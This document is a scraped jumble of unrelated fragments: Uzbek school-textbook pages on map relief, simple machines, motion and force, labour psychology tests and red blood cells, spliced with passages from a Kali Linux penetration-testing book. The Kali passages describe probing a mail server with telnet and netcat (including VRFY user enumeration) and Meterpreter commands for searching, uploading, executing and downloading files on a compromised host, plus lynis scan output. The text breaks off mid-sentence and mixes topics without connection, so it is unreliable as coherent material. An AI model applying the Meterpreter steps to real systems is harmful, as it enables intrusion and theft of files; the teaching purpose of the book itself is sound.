18⁰ – 10⁰ = 8⁰ (10⁰ paralleldan 18⁰ parallelgacha 8⁰ farq bor).
Demak, 10⁰ – 6 cm
8⁰ – x
Berilgan nuqta 10⁰ paralleldan 4,8 cm janubda joylashgan.
Mexanik kuch - 2 Tabiiy fan Darslik (6 sinf). indd

136
10-bob. HARAKAT VA KUCH
61-MAVZU.
ODDIY MEXANIZMLAR
1. Mixni yog‘ochdan qanday sug‘urib olish mumkin?
2. Misr ehromlari, Registon majmuasi qanday qurilganini bilasizmi?
Qadimda me’morlar turli inshootlarni qurishda kuch ta’sirini orttiradigan oddiy mexanizm-
lardan foydalangan.
Og‘ir yukni ko‘tarishda, quduqdagi suvni olishda, o‘tin yorishda yoki jismni joyidan silji-
tishda oddiy mexanizmlardan foydalaniladi.
Oddiy mexanizmlar – bu kuch kattaligini va yo‘nalishini o‘zgartirishga xizmat qiladigan
qurilmalar.
Richag, blok, qiya tekislik, pona, chig‘iriq oddiy mexanizmlarga misol bo‘ladi.
Richag – qo‘zg‘almas tayanch atroﬁ da aylana oladigan qattiq jism.
Kundalik turmushimizda richakli qurilmalardan ko‘p foydalanamiz. Masalan, qog‘oz
va matolarni qirqishda –
qaychi, mix sug‘urishda –
ombur, bolt va gaykalarni mahkam-
lashda
klyuch (kalit)dan foydalanamiz.
Miloddan uch ming yil oldin Qadimgi Misrda ulkan piramidalar qurilgan. Bu pirami-
dalarni qurish paytida og‘ir tosh xarsanglari richag yordamida siljitilgan va balandlikka
olib chiqilgan.
Joyning nisbiy balandligi

100
7-bob. GEOGRAFIK XARITALAR
1. Nima uchun mutlaq balandlik quruqlikdagi
ko‘l yoki daryolardan emas, aynan dengiz
yoki okeanlardan hisoblanadi?
2. Quruqlikdagi dengiz sathidan eng baland
va eng past joylar qaysilar?
Tepalik (A) va botiq (B)
ning xaritalarda gorizon-
tallar bilan tasvirlanishi
25 m
25
15
A
a)
10
10
15
20
25
10
15
20
25 m
10
15
20
25
A
Yer yuzasidagi balandliklar
nivelir yordamida o‘lcha-
nadi. Nivelirlash natijasida Yer yuzasida joylashgan
nuqtalarning nisbiy balandligi o‘lchanadi. Nivelirlash joy
relyeﬁ ning shakllarini o‘rganish, ularni xaritalarda tas-
virlash hamda har xil bino va inshootlarni loyihalash,
qurishda zarur bo‘lgan nuqtalar balandligini o‘lchash
hamda ularning farqini aniqlash uchun bajariladi.
Hozirgi vaqtda Yerning sun’iy yo‘ldoshlari yordami-
da ham Yer yuzasidagi har bir joyning aniq balandligini
o‘lchash mumkin.
Gorizontallar deb quruqlik yuzasidagi mutlaq balandligi bir
xil bo‘lgan nuqtalarni xaritalarda tutashtiruvchi chiziqlarga aytila-
di. Gorizontallardan joy planlarida va xaritalarda relyefni tasvir-
lash uchun foydalaniladi. Xaritalarda, ayniqsa, joy planida tepalar
ham, chuqurlar ham gorizontallar bilan tasvirlanadi. Yer yuzasi
qaysi tomonga qiya bo‘lsa, gorizontallarga qiya tomonni ko‘rsa-
tuvchi chiziqcha qo‘yiladi. Bu chiziqcha
bergshtrix deb ataladi.
Bergshtrixga qarab botiq va tepaliklar ajratib olinadi. Yonbag‘irlar
juda tik bo‘lsa, planda mayda tishlarga o‘xshagan chiziqlar bilan
ko‘rsatiladi. Jarlar ham shunday chiziqlar bilan tasvirlanadi.
Testlash metodi - "psixologiya"

Testlash metodi Test bu kiska topshirik bulib, bajarilgan topshirikka sonlar va sifat
jixatidan berilgan baxo ularning strukturasidagi asosiy psixik faoliyatlarning
kamolot darajasidan kukrsatkichi buladi. Testlar muayyan kobiliyat bilim,
malaka, kunikmalar bor yoki yukligini aniklash, shaxslar ba’zi sifatlarini
tavsiflash xamda u yoki bu kasbga laekatni bilish imkonini beradi. Test
psixodiagnostik va ayniksa psixoprognostik kiymati ma’lum darajada ilmiy
tajribaga xa mda test asosida kuyilgan psixologik faktlar ishonchliligiga
boglik. Etarli darajada ilmiy asoslanmagan, tugri nazariyaga tayanmagan, ba’zan
bu nazariyani "moslashtirishga" urinish ( soddalashtirish) goyat jiddiy
xatolarga olib kelishi mumkin. Testlarga ancha asosli " kullanilishi" va doimo
asoslanmagan " testlashni" farklash kerak.
Keyingisida doimo testlar erdamida alinadigan natijalardan psixologik
taxlili asossiz ravishda tugri echimlar soni matematik manipulasi bilan
almashtiriladi. Boshka metodlar bilan olingan psixolgik materiallar ishlashdan
matematik metodi uzidan printsipial endashuviga egabula turib, kupincha,
modellash metodi bilan uygunlashib ketadi va psixik xodisalarning mikdoriy
ifodasi bilan matematik model yaratish imkonini beradi. Bu metodda u yoki bu
psixologik xodisani urganish natijalari tekshiri laetgan mexnat jaraenlari xamda
shaxs xususiyatlari taxlilini osonlashtiradigan diagroamma, grafiklar, sxemalar
tarzida kursatmali ifodalanadi. Mexnat psixologiyasiga oid konkret tadkikotlar
metodlaridan uzlashtirilishinitekshirish.
Mavzu yuzasidan test savollari: 1. Kompetensiya - bu... A) Xodimning xuquq va majburiyatlarini yig‘indisi.
V) Bilimlar yig‘indisi.
S) Umumta’lim tayyorgarlik darajasi.
D)Kasbiy tayyorgarlik darajasi.
2. Personal ishchanligini baholash qanday imkonyatlar beradi?
95
A) Tashkilot tuzilmasida o‘z joyini tanlash.
V) Takomillashtirish yo‘llarini ishlab chiqish.
S) Ish haqini mos kelishini aniqlash.
D) Martabaga ko‘tarilishini aniqlash.
Mexnat jarayonlarini modellash metodi

94
ukdan."Sizning kurib tasavvur kilish tezligingiz yaxshimi" deb surmokning
balki "Siz kino eksperitiziyadagi surovni ukishga uringansizmi?" deb surab
aniklash lozim. Albatta, bunda suralaetgan kishining savodliligiga amin bulishi
kerak. Anketalarning " xa "yoki "yuk ekadi", "farksiz", "ekmaydi" kabi javob
anketada belgilangan shartli belgilar bilan ifodalanadi, bu esa javoblarni
statistik ishlar erdamida ularning xulosalar chikarishni osonlashtiradi.
Xronometrik metodi - bu ish u yoki bu sutka (ish kunidan xronometraj) ni
ulchashdan iborat. Urganilaetgan mexnat faoliyatiga kiritilgan turli xil
sensomotor va sensonutk reaktsiyalaridan yashirin davrni ulchash xam
mumkin bulgan, buning uchun kayd etishning xronotsiplografiya, kimograflar,
atsiplograflar xamda tegishli axborot kursatgichlaridan foydalanadi.Mexnat
psixologiyasi maksadlari uchun texnik pormalash amalietining olinaetgan
xronometrajdan foydalanish mumkin. Mexnat jaraenidagi fiziologik faoliyatlarni
kayd etish bevosita kuzatish mumkin bulmagan xodisalar, xususan
emmotsional xolatlarni kilish imkonini beradi.
Harakatning quyidagi turlari mavjud

Harakatning quyidagi turlari mavjud:
10
b o b
-
HARAKAT
VA KUCH
To‘g‘ri chiziqli harakat
1
2
3
Aylanma harakat
Tebranma harakat
133
10-bob. HARAKAT VA KUCH
Aylanma harakat jismning ayla-
na bo‘ylab hara katlanishidir. Masalan,
avtomobil ruli yoki ventilyator parragi-
ning harakati.
Tebranma harakat
jism ning takrorlanuvchi
harakatidir. Masalan, be-
lanchakda o‘tirgan bola ning
harakati, tikuv mashi nasining
ignasi, beshiktervatarning chay-
qalishi, maysa va daraxtning shamol
esganda silkinishi.
Harakat turlarini aniqlang:
Istirohat bog‘idagi attraksion poyezd va yo‘lovchi poyezd harakatlarida qanday
o‘xshashlik bor?
1. Daraxtdan olma uzilganda u qanday harakat qiladi?
2. Velosiped va velosiped pedalining harakatlarini o‘zaro solishtiring.
Rasmlardagi harakat turlarini tavsiﬂ ang
Rasml
To‘g‘ri chiziqli harakat jismning to‘g‘ri chiziq bo‘ylab harakat-
lanishidir. Masalan, to‘g‘ri yo‘lakda yugurayotgan sportchi, yomg‘ir
yog‘ishi, yuqoridan tashlangan jism, lazer nurining tarqalishi.
134
10-bob. HARAKAT VA KUCH
60-MAVZU.
KUCH
1. Atroﬁ mizdagi jismlar qanday harakatga keladi?
2. Jismlar harakatlanishining asosiy sababi nimada?
Kundalik hayotda muskullarimiz yordamida tortish, itarish, uloqtirish yoki jismni
joyidan qo‘zg‘atish uchun kuch ishlatamiz. Jismlar kuch ta’sirida harakatga keladi. Masalan,
velosiped pedalini aylantirish, xona eshigini ochish va boshqalar.
Kuch jismlarni harakatga keltiruvchi asosiy sababdir.
Kuchlarning quyidagi turlarini o‘rganamiz: muskul kuchi, mexanik kuch, ishqalanish
kuchi.
Biz sumkamizni ko‘taramiz, ruchkani qo‘l barmoqlarimiz bilan mahkam tutib, u bilan
yozamiz, uy zinalarida harakatlanib yuqoriga ko‘tarilamiz, sport maydonchalarida yugu-
ramiz. Barcha harakatlarni bajarish uchun muskul kuchlaridan foydalanamiz. Muskullar to-
monidan yuzaga keladigan kuchga muskul kuchi deyiladi.
Jismga muskul kuchi ta’sir qilganda, uning shakli o‘zgaradi. Masalan, havo solingan
pufak bosilganda kuch ta’sirida uning shakli o‘zgaradi. Novvoy xamirga shakl berib, non
mahsulotlarini tayyorlashda, kulol loyga ishlov berib, turli xil idishlar yasashda muskul kuchi-
dan foydalanadi.
Muskul kuchi jism harakatining yo‘nalishini va tezligini o‘zgartiradi. Masalan, tennis
o‘yinida o‘yinchi tennis koptogini raqibiga qarata urganida uning muskul kuchi koptok yo‘na-
lishini o‘zgartiradi. Tennis koptogini urish bilan tezlikni oshirish yoki kamaytirish mumkin.
135
10-bob. HARAKAT VA KUCH
Haydovchi avtomobil rulini muskul kuchi bilan aylantirganda g‘ildirak avtomobil haraka-
tining yo‘nalishini o‘zgartiradi.
|
A M A L I Y M A S H G U L O T

108
8-bob. YER QOBIQLARI
1. Tabiatda suvning aylanma harakati qanday ro‘y beradi?
2. Eng katta okean qanday nomlanadi?
Shelf
Orol
Vulqon oroli Chuqur okean
botigখi
Materik
yonbagখri
Suvosti togখ
tizmasi
Okean tubi
Gidrosfera (yunoncha
hydro – “suv”,
sphaira – “shar”) –
Yerning suv qobig‘i. Gidrosfera okean, quruqlik hamda
atmosferadagi suvlardan iborat.
Gidrosferada suv uch xil holatda uch raydi: qattiq (muz),
suyuq, bug‘.
Yer sharining uzluksiz suvli qobig‘i
Dunyo okeani deb
atalib, unga gidrosferadagi suvning 96,5% i to‘g‘ri keladi.
Dunyo okeanining maydoni 361 mln km
2
ga teng bo‘lib, u
okean, dengiz, qo‘ltiq va bo‘g‘izlardan iborat.
Okeanlar – Dunyo okeanining eng yirik qismlari bo‘lib, bir-biridan geograﬁ k o‘rni, geologik
tuzilishi va biologik xususiyatlari bilan farq qiladi. Dunyo okeanlari to‘rtta: Tinch, Atlantika,
Hind va Shimoliy Muz okeanlari.
Dengizlar – okeanning bir qismi bo‘lib, ular okeandan quruqlik yoki orollar, yarimorollar
va suvosti relyeﬁ ning ko‘tarilgan joylari bilan ajralib turadi.
Manual Interaction - Learning Kali Linux

Example 3-23. Using telnet to interact with a mail server
root@rosebud:~# telnet 192.168.86.35 25
Trying 192.168.86.35...
Connected to 192.168.86.35.
Escape character is
'^]'
.
220
rosebud.washere.com ESMTP Postfix
(
Debian/GNU
)
EHLO blah.com
250-rosebud.washere.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250
SMTPUTF8
MAIL FROM: foo@foo.com
250
2.1.0 Ok
RCPT To: root@localhost
250
2.1.5 Ok
If using the
telnet
client, it would default to port 23, which is the standard Telnet port.
However,
if we provide a port number, in this case 25, we can get
telnet
to open a TCP
connection to that port. Once we have the connection open, which is clearly indica‐
ted, you can start typing protocol statements. Since it’s an SMTP server, what you are
seeing is a conversation in Extended SMTP (ESMTP).
We can gather information
using this approach, including the type of SMTP server (Postfix) as well as protocol
commands that are available. While these are all SMTP commands, servers are not
required to implement them.
The VRFY command, for example, is used to verify
addresses. This could be used to enumerate users on a mail server. That’s not some‐
thing organizations will want remote users to be able to do, because it can expose
information that might be useful to an attacker. Instead,
they may just disable that
command.
The first message we get back from the server is the service banner. Some protocols
use a service banner to announce details about the application. When a tool like
nmap
gathers version information, it is looking for these service banners. Not all pro‐
tocols or servers will send out a service banner with protocol or server information.
telnet
is not the only command that can be used to interact with servers. You can also
use netcat, which is commonly
done via the command
nc
. We can use
nc
in the same
way that we use
telnet
. In
Example 3-24
, I’ve opened a connection to a web server at
192.168.86.1. Unlike
telnet
,
nc
doesn’t indicate that the connection is open.
If the port
is closed, you will get a message saying, “Connection refused.” If you don’t get that
message, you can assume the connection is open and you can start typing commands.
You’ll see an HTTP/1.1 request being sent to the remote server. Once the request has
Tayanch so’z va iboralar - "psixologiya"

97
Diqqat har kanday faoliyatning muhim shartidir. Diqqatsiz hatto eng
oddiy ishlarni ham bajarish mumkin emas. Diqqat mehnatning barcha
jarayonida, ijodiy faoliyatda, o’qishda ayniqsa katta ahamiyatga ega.
K.D.Ushinskiy «Diqqat ruxiy hayotimizning shunday yagona bir eshigidirki,
ongizgizga kiradigan narsalarning barchasi shu eshik orqali o’tib kiradi», - deb
yozgan edi.
Diqqatning nerv – fiziologik mexanizmini I. P Pavlovning yozishicha
oriyentirovka refleksi tashkil etadi. Buni Pavlov «bu nima» refleksi deb ham
atagan edi. Bundan tashqari, diqqat ma’lum nerv markazlarining ko’zg’alishi va
miyadagi boshqa nerv markazlarining tormozlanishi bilan ham bog’liqdir.
I.P.Pavlov tomonidan kashf etilgan nerv prosesslarining induksiyasi
qonuni diqqatining fiziologik asoslarini tushunib olish uchun muhim ahamiyatga
egadir. Mana shu qonunga muvofiq bosh miya po’stining bir joyida paydo
bo’lgan ko’zg’alish bosh miya po’stining boshqa joylarida tormozlanshni
yuzaga keltiradi. Va aksincha, bosh miya po’stining ayrim bir joyida yuzaga
kelgan tormozlanish bosh miya po’stining boshka joylarida kuchli ko’zg’alishni
paydo bo’lishiga olib keladi. Ayni shu paytning har bir onida miya po’stida
ko’zg’alish uchun optimal, ya’ni nihoyatda qulayligi bilan xarakterlanuvchi
kuchli ko’zg’alish o’chog’i mavjud bo’ladi.
A. A. Uxtomskiy tomonidan ilgari surilgan
Eritrositlar - Yosh fiziologiyasi va gigienasi

|
Yosh fiziologiyasi va gigienasi
|
bet | 133/190 | Sana | 06.01.2024 | Hajmi | 4,48 Mb. | | #130993 |
Bog'liq Yosh fiziologiyasi va gigienasi9.3. Eritrositlar.
Eritrositlarning shakli va miqdori. Odamlar va juda ko’pchilik sut emizuvchilarda eritrositlar yoki qizil qon tanachalari ikki tomoni botiq yadrosiz hujayralar shaklida bo’ladi. Ular juda elastik va kapillyarlarning tor yo’lkalari bo’ylab o’tishiga yordamlashadi. Eritrositlarning diametri odamlarda 7-8 mk, qalinligi esa 2-2,5 mk.tashkil etadi. Yadroning bo’lmasligi va ikki tomoni botiq linzaga ega bo’lish (ikki tomoni botiq linzaning yuzasi 1,6 martaga shar yuzasidan kattadir) eritrositlarning yuzasini kengaytiradi va eritrosit ichiga tez va bir xildagi kislorodni diffuziyalanishini tezlashtiradi.
Odamlar va hayvonlarning yosh eritrositlarida yadrolar bo’ladi. Eritrositlarning yetilish davrida ularning yadrosi yo’qoladi.
Odamlarning barcha eritrositlarining umumiy yuzasi 3000 m2 ni tashkil etadi bu esa uning tanasining yuzasidan 1500 marta kattadir.
Odamlar qonidagi barcha eritrositlarning umumiy miqdori juda katta, U planetamizdagi aholining umumiy sonidan 10 ming marta ko’pdir. Agar odamlar eritrositlarini bir qator qilib qo’ysak uzunligi 150000 km bo’lgan zanjir hosil bo’ladi: agar eritrositlarni bir-birini ustiga qo’ysak, unda yer shari ekvatoridan uzun bo’lgan pillapoya (zina) hosil bo’ladi (50000-60000 km).
Odamlarning 1 mm3 qonida 4 dan 5 mln gacha eritrositlar saqlanadi (ayollarda 4-4,5 mln, erkaklarda esa -4,5-5,0 mln),eritrositlarning miqdori qat’iy ravishda doimiy emas. Uning miqdori odamlar yuqori balandlikka chiqqanda va jismoniy ish bajarganda kislorod yetishmasligi tufayli keskin ortishi mumkin.
Yuqori tog’ sharoitida yashovchi odamlarda, dengiz bo’yida yashovchi odamlarga nisbatan eritrositlar miqdori 30 % ga ortiq bo’ladi. Tekislik rayonlardan yuqori tog’ sharoitiga o’tgan paytlarda eritrositlar miqdori ortadi. Organizmning kislorodga bo’lgan talabi pasayganida qon tarkibidagi eritrositlar miqdori ham kamayadi. Yosh o’zgarishi bilan 1mm3 qon tarkibidagi eritrositlar miqdori ham o’zgara boradi.
5-jadval
|
| |
Meterpreter Basics - Learning Kali Linux

those for Unix. The commands will work on Windows, but the name of the com‐
mand is the same as one used on Unix-like operating systems. As an example, in
order
to get a listing of files, you use
ls
. On a Windows system, the command is
dir
,
but when you use
ls
from Meterpreter, you will get a file listing. Similarly, if you want
to
get a list of processes, you use
ps
.
One nice feature of Meterpreter is it doesn’t require you to look up any references
related to functions it offers. Instead, all you have to do is ask. A
help
command will
provide you with a list of all the commands available and will provide details about
the commands. In addition, Meterpreter will also look for data for you. The
search
command will look for files on the system you have compromised.
This feature will
save you from manually looking through the filesystem for what you need. Your
search can include wildcards. As a result, you can use the search string
*.docx
to
locate files created from more recent versions of Microsoft Word.
If you need additional files to be sent to your targeted host in order to continue your
exploitation, you can use
upload
in Meterpreter. It will
upload the file on your Kali
system to the target system. If you are uploading an executable file, you can run it
from Meterpreter by using
execute
. To retrieve files from the target system, you use
download
. If you are referring to a
file path on a Windows system, you need to use
double slashes because a single backslash is commonly an escape character. As an
example, if I want to get access to a Word document in
C:\temp
, I will use download
C:\\temp\\file.docx
to make sure the file path was interpreted correctly.
When it comes to Windows systems,
certain details can be useful, including the ver‐
sion of Windows, the name of the system, and the workgroup the system belongs to.
To get that information, you can use the
sysinfo
command. This will also tell you the
CPU architecture—whether it’s 32-bit or 64-bit.
Local Vulnerabilities | 121

Using lynis for Local Checks
Programs are available on most Linux distributions that can run tests for local vul‐
nerabilities. Kali is no different. One of these programs is
lynis
, a vulnerability scan‐
ner that runs on the local system and runs through numerous checks for settings that
would be common in a hardened operating system installation. Operating systems
that are hardened are configured to be resistant to attacks. This can mean enabling
logging,
tightening permissions, and choosing other settings.
The program
lynis
has settings for different scan types. You can do quick scans or
complete scans, depending on the depth you want to go. There is also the possibility
of running in pentest mode, which is an unprivileged scan.
This limits what can be
checked. Anything that requires root access, like looking at some configuration files,
can’t be checked in pentest mode. This can provide you good insight into what an
attacker can do if they gain access to a regular, unprivileged account.
shows
partial output of a run of
lynis
against a basic Kali installation.
Example 4-3. Output from lynis
[
+
]
Memory and Processes
------------------------------------
- Checking /proc/meminfo
[
FOUND
]
-
Searching
for
dead/zombie processes
[
OK
]
- Searching
for
IO waiting processes
[
OK
]
[
+
]
Users, Groups and Authentication
------------------------------------
- Administrator accounts
[
OK
]
- Unique UIDs
[
OK
]
-
Consistency of group files
(
grpck
)
[
OK
]
- Unique group IDs
[
OK
]
- Unique group names
[
OK
]
- Password file consistency
[
OK
]
- Query system users
(
non daemons
)
[
DONE
]
- NIS+
authentication support
[
NOT ENABLED
]
- NIS authentication support
[
NOT ENABLED
]
- sudoers file
[
FOUND
]
- Check
sudoers file permissions
[
OK
]
- PAM password strength tools
[
SUGGESTION
]
- PAM configuration files
(
pam.conf
)
[
FOUND
]
- PAM configuration files
(
pam.d
)
[
FOUND
]
- PAM modules
[
FOUND
]
-
LDAP module in PAM
[
NOT FOUND
]
- Accounts without expire date
[
OK
]
- Accounts without password
[
OK
]
- Checking user password aging
(
minimum
)
[
DISABLED
]
-
User password aging
(
maximum
)
[
DISABLED
]
- Checking expired passwords
[
OK
]
- Checking Linux single user mode authentication
[
WARNING
]